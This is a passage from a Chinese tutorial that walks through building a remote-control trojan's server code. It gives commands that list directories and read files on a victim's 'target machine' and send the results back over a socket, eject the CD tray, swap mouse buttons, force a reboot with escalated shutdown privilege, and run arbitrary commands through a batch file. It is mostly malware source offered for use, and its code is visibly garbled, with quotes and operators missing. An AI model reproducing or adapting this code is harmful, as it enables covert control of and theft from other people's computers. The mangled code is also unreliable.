上回我们讲到如何修改目标机上的启动配置文件，这回我们就来查看目标机上的目录树和文件吧，这在客户端上使用“dir”命令，跟着敲啰：

{
else if(temp.SubString(0,3)==dir)
{
file如果前3个字符是“dir”
int Read_Num;
char  CR_LF=n;
int attrib;
char filename;
DIR dir;
struct dirent ent;
int number=temp.Length();
file得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file从字符串第六个字符开始，将后面的字符存入Dir_Name变量，这是目录名
if(Dir_Name==)
{
file如果目录名为空
Socket-SendText(Fail By Open DIR's Name);
file返回“Fail By Open DIR's Name”信息
goto END;
file跳到END
}
char  dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file如果打开目录出错
Socket-SendText(Fail by your DIR's name!);
file返回“Fail By Your DIR's Name”信息
goto END;
file跳到END
}
times_of_try=0;
while(fp==NULL)
{
file如果指针是NULL
fp=fopen(TempFile,w+);
file就创建systemWin369.bat准备读和写；如果此文件已存在，则会被覆盖
times_of_try=times_of_try+1;
file计数器加1
if(times_of_try100)
{
file如果已经试了100次了，仍未成功（真有耐心！）
Socket-SendText(Fail By Open File);
file就发回“Fail By Open File”的错误信息
goto END;
file并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file如果访问目标目录成功
if((AnsiString(dirname)).AnsiLastChar()!='')
file如果最后一个字符不是“”，证明不是根目录
filename=(AnsiString(dirname)++ent-d_name).c_str();
file加上“”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file如果是根目录，则不用加“”
attrib=_rtl_chmod(filename, 0);
file得到目标文件的访问属性
if (attrib & FA_RDONLY)
file“&”字符是比较前后两个变量，如果相同返回1,否则返回0
fwrite( R,sizeof(char),3,fp);
file将目标文件属性设为只读
else
fwrite( ,sizeof(char),3,fp);
file失败则写入空格
if (attrib & FA_HIDDEN)
fwrite(H,sizeof(char),1,fp);
file将目标文件属性设为隐藏
else
fwrite( ,sizeof(char),1,fp);
file失败则写入空格
if (attrib & FA_SYSTEM)
fwrite(S,sizeof(char),1,fp);
file将目标文件属性设为系统
else
fwrite( ,sizeof(char),1,fp);
file失败则写入空格
if (attrib & FA_ARCH)
fwrite(A,sizeof(char),1,fp);
file将目标文件属性设为普通
else
fwrite( ,sizeof(char),1,fp);
file失败则写入空格
if (attrib & FA_DIREC)
fwrite(
,sizeof(char),9,fp);
file将目标文件属性设为目录
else
fwrite( ,sizeof(char),9,fp);
file失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file写入换行
}
fclose(fp);
file关闭文件
closedir(dir);
file关闭目录
FILE fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,r);
file打开Win369.bat准备读
times_of_try=times_of_try+1;
file计数器加1
if(times_of_try100)
{
file如果已经试了100次了，仍未成功
Socket-SendText(Fail By Open File);
file就发回“Fail By Open File”的错误信息
goto END;
file并跳到END处
}
}
AnsiString Return_Text=;
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='0';
file定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
fileReturn_Text变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='0';
Read_Num=fread(temp_content,1,300,fp1);
file重复
};
Return_Text=Return_Text+temp_content;
fileReturn_Text变量加上刚才的300个字符
fclose(fp1);
file关闭目标文件
Socket-SendText(Return_Text);
file返回Return_Text变量的内容
}
}
　够长吧？！察看目录树这么费劲啊？！你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了，Client将使用“type”命令，（手指累不累啊？）：

{
else if(temp.SubString(0,4)==type)
{
file如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),r);
file打开目标文件准备读
times_of_try=times_of_try+1;
file计数器加1
if(times_of_try100)
{
file如果已试了100次了
Socket-SendText(Fail By Open File);
file返回“Fail By Open File”的错误信息
goto END;
file跳到END
}
}
AnsiString Return_Text=;
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='0';
file定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
fileReturn_Text的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='0';
Read_Num=fread(temp_content,1,300,fp);
file重复
};
Return_Text=Return_Text+temp_content;
fileReturn_Text的内容加上刚才的字符
fclose(fp);
file关闭目标文件
Socket-SendText(Return_Text);
file返回Return_Text的内容，即你查看文件的内容
}
}

　　咳咳！累死了！还是来点轻松的吧——操纵目标机的光驱（注意：mciSendString()函数的声明在mmsystem.h头文件中）：

{
else if(temp==open)
{
file如果收到的temp的内容是“open”
mciSendString(set cdaudio door open, NULL, 0, NULL);
file就弹出光驱的托盘
}
else if(temp==close)
{
file如果收到的temp的内容是“close”
mciSendString(Set cdaudio door closed wait, NULL, 0, NULL);
file就收入光驱的托盘。当然你也可以搞个死循环，让他的光驱好好活动活动！^_^
}
}

　　接着就是交换目标机的鼠标左右键，代码如下：

{
else if(temp==swap)
{
SwapMouseButton(1);
file交换鼠标左右键，简单吧？
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利，一个普通的进程是不应具备有调用系统的权利的，因此我们要赋予本程序足够的权限：

{
else if(temp==reboot)
{
file如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file得到操作系统的版本号
if (dwVersion  0x80000000)
{
file操作系统是WinNt，不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES  TOKEN_QUERY, &hToken);
fileOpenProcessToken()这个函数的作用是打开一个进程的访问令牌
fileGetCurrentProcess()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
fileLookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
fileAdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT  EWX_FORCE, 0);
file强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file强行退出Win9x并重启
}
}

　　如果以上都不是，就让它在Dos窗口中执行传来的命令：

{
else
{
file如果都不是
char  CR_TF=n;
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,w+);
file创建Win369.bat，如果已存在就覆盖
times_of_try=times_of_try+1;
file计数器加1
if(times_of_try100)
{
Socket-SendText(Fail By Open File);
file返回“Fail By Open File”的信息
goto END;
file跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file写入换行符
fclose(fp);
file关闭Win369.bat
system(TempFile);
file执行Win369.bat
Socket-SendText(Success);
file返回“Success”信息
}
}

　　你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况（判断是否是一个企业的局